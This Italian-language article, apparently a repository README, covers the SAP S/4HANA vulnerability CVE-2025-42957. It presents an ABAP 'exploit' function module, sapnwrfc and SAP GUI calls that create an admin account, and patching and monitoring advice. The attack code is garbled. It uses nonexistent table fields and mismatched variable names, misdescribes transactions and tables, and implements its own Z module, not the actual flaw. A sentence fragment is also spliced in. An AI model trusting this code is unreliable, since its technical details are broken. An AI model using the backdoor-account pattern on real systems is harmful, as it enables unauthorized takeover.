
CVE‑2025‑42957 espone un modulo SAP S/4HANA abilitato per RFC che consente a utenti con privilegi bassi di iniettare codice ABAP per creare account amministrativi e ottenere il controllo completo. L'articolo spiega la vulnerabilità, il modello di minaccia, fornisce un codice ABAP di exploit minimale e elenca i passaggi di patching e monitoraggio per proteggere il sistema.
Nell'agosto 2025, la piattaforma ERP di punta di SAP S/4HANA è stata trovata esporre una vulnerabilità in uno dei suoi moduli funzione abilitati a RFC. Gli attaccanti che possiedono solo accesso a bassi privilegi possono iniettare codice ABAP arbitrario in quel modulo, bypassando i normali controlli di autorizzazione e ottenendo il controllo completo del sistema.
Il difetto non è una curiosità teorica – è già stato sfruttato dai SecurityBridge Threat Research Labs ed è attivamente utilizzato in attacchi reali sia su installazioni on‑premise che su cloud privato.
| Problema | Impatto |
|---|---|
| Compromissione totale del sistema | Gli attaccanti possono creare account superutente, modificare processi aziendali ed estrarre hash di password dalla tabella USR02. |
| Sforzo minimo richiesto | La chiamata RFC è semplice da costruire; una volta che il modulo funzione è in posizione, un attaccante ha bisogno solo di poche righe di codice ABAP. |
| Urgenza nel mondo reale | SecurityBridge ha confermato che gli attacchi sono già in corso – se non applichi immediatamente la patch, rischi la completa presa di controllo della tua istanza S/4HANA. |
ZVULN_EXPL che creiamo in SE37 è l'unico punto di ingresso per l'attaccante.S_DMIS (attività 02).La catena di sfruttamento è quindi: utente a bassi privilegi → chiamata RFC a ZVULN_EXPL → nuovo utente admin in USR02 → controllo completo del sistema.
Di seguito è riportato il codice ABAP che inseriamo nel modulo funzione ZVULN_EXPL. È intenzionalmente minimale ma completo – crea un nuovo utente e registra l'azione per una verifica successiva.
*---------------------------------------------------------------------*
* RFC‑exposed function module for CVE‑2025‑42957 exploit *
*---------------------------------------------------------------------*
FUNCTION z_vuln_expl.
*"------------------------------------------------------------------*
*" IMPORTING
*" VALUE(iv_user) TYPE syuname "SAP user name
*" VALUE(iv_role) TYPE susr02-roleid "Role to be assigned
*" VALUE(iv_passwd) TYPE susr02-pwd "Password for the new user
*"------------------------------------------------------------------*
*" TABLES
*" usr02
*"------------------------------------------------------------------*
* Local data declarations ----------------------------------------*/
DATA: lv_user_id TYPE syuname,
lv_role TYPE susr02-roleid,
lv_password TYPE susr02-pwd.
* Assign the parameters to local variables -----------------------*/
lv_user_id = iv_user.
lv_role = iv_role.
lv_passwd = iv_passwd.
*---------------------------------------------------------------------*
* 1. Create a new user entry in USR02 *
*---------------------------------------------------------------------*/
INSERT INTO usr02 (usr01, usr02)
VALUES ( lv_user_id,
'ADMIN' ). "Assign the ‘ADMIN’ role
* 2. Assign password & profile ----------------------------------*/
UPDATE usr02
SET pwd = lv_password,
roleid = lv_role
WHERE usr01 = lv_user_id.
*---------------------------------------------------------------------*
* 3. Log the operation (optional) ------------------------------*/
INSERT INTO tstm1 VALUES (
sy-uname, "creator user
sy-datum, "timestamp
'ZVULN_EXPL', "function name
|lv_user_id||lv_role| "message
). "store in the ABAP trace table
ENDFUNCTION.
Come chiamarlo
Da un client esterno (Linux/Mac)
sapnwrfc -U <caller_user> \
-P <caller_passwd> \
-S S4HANA \
-F ZVULN_EXPL \
-D iv_user=admin2 \
-D iv_role='ADMIN' \
-D iv_passwd='Pa$$word123'
Da SAP GUI (test rapido)
CALL FUNCTION 'ZVULN_EXPL'
EXPORTING
iv_user = 'admin2'
iv_role = 'ADMIN'
iv_passwd = 'Pa$$word123'.
Dopo la chiamata dovresti vedere una nuova voce in USR02 per l'utente admin2 con ruolo ADMIN.
Applica immediatamente le patch di sicurezza di SAP di agosto 2025.
La patch risolve il modulo funzione RFC esposto sottostante e chiude il vettore specifico che gli attaccanti usano.
Monitora i log per chiamate RFC sospette e creazione non autorizzata di admin.
Usa la transazione SM59 per cercare nuove voci in TSTM1 con nome funzione ZVULN_EXPL.
Implementa SAP UCON per limitare l'uso di RFC.
Configura l'oggetto di autorizzazione S_DMIS (attività 02) in modo che solo utenti fidati possano chiamare moduli RFC di tipo Z.
Rivedi l'accesso all'oggetto di autorizzazione S_DMIS attività 02.
Assicurati che solo un insieme limitato di utenti abbia questo oggetto – riduci la superficie d'attacco.
CVE‑2025‑42957 non è solo un altro bollettino di sicurezza; espone un vettore a bassi privilegi che può portare alla completa presa di controllo del sistema se non corretto. Il codice sopra dimostra come un attaccante può inserire un utente admin con minimo sforzo. Applicando patch, monitoraggio e restringendo le autorizzazioni RFC chiudi la porta – e mantieni la tua istanza S/4HANA sicura.
Questo repository è destinato esclusivamente a scopi educativi e serve come dimostrazione dei principi di modellazione delle minacce applicati a vulnerabilità reali. CVE-2025-42957 evidenzia l'importanza di identificare i confini di fiducia, validare gli input e applicare l'accesso con privilegi minimi—principi fondamentali della progettazione sicura dei sistemi. Tutto il codice e gli esempi forniti sono per scopi di apprendimento e non dovrebbero essere utilizzati in ambienti di produzione o per test non autorizzati.
*Autore: Mark Mallia
Data: 10 Sett 2025